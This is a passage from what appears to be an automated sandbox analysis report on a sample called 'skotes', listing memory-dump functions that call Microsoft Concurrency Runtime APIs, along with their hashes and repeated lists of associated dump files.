Opcode ID: a353fd1648594cbeb3a3c9b1c5bff3781b45ccfe7d177108642d59a1540abace
Instruction ID: 85aa4179fec7090d0808bce7fb2528115c1d2c24c0084389595f00f170e383aa
Opcode Fuzzy Hash: a353fd1648594cbeb3a3c9b1c5bff3781b45ccfe7d177108642d59a1540abace
Instruction Fuzzy Hash: D3B17B70A00619EFDB28CF59D995BBEB7B4FB88300F15416AE905AB381D731A9C1CB90

Function 00911602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00912CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00912D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00911614

Part of subcall function 00912E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00912E39
Part of subcall function 00912E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00912EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00911746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009117A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009117B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 009117ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0091180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0091181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00911823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0091183B

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 1501873ea670dfdf5c37e07ee41f77da182caa1bc69c38d22698f7ecd614a3b9
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: B8818B71F0022AAFCB08DFA8C580AADB7F5FF88304B1586ADD545A7741C731AD92CB84

Function 0091EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0091EC81

Part of subcall function 00918F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00918F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0091ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0091ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0091ED0C

Part of subcall function 0091E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0091E7D7
Part of subcall function 0091E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0091E86F
Part of subcall function 0091E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0091E879
Part of subcall function 0091E7AF: Concurrency::location::_Assign.LIBCMT ref: 0091E8AD
Part of subcall function 0091E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0091E8B5

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 6f6c30f27321fca413952c5755317d5b450fc631c7ce8ae27b52ce2cc18c32c2
Instruction ID: 94259a8f3d38346c0b6a09b73e7c819c8100c30be242c2347db7a708532f2750
Opcode Fuzzy Hash: 6f6c30f27321fca413952c5755317d5b450fc631c7ce8ae27b52ce2cc18c32c2
Instruction Fuzzy Hash: 9F518D35A002199BDF24DF50D895BEEB775AF84310F1540A8ED066B3D6CB70AE85CBA1

Function 0090CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0090CBAA

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 2529d364d3d82752afe4feb7fefbb255abb10c05732daaa1878fcf4693d0b50d
Instruction ID: f52c41c00d254fdbfa541fbdad05addb2e64b4739ffdf56a8818c32157c7285b
Opcode Fuzzy Hash: 2529d364d3d82752afe4feb7fefbb255abb10c05732daaa1878fcf4693d0b50d
Instruction Fuzzy Hash: E2B01232F3F9304BCA512B14BC2899E7B189FC1F1230B4256DD01A72B4CB601D82AFD4

Function 0090DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3546c38b02d5488474503429f6a1fd008db7ddd346a2b833d60214d0599bda
Instruction ID: fa2b8b0e3e1c0110f636c148924c0ab50d0993583760a5f123b3895caf9edc70
Opcode Fuzzy Hash: 7e3546c38b02d5488474503429f6a1fd008db7ddd346a2b833d60214d0599bda
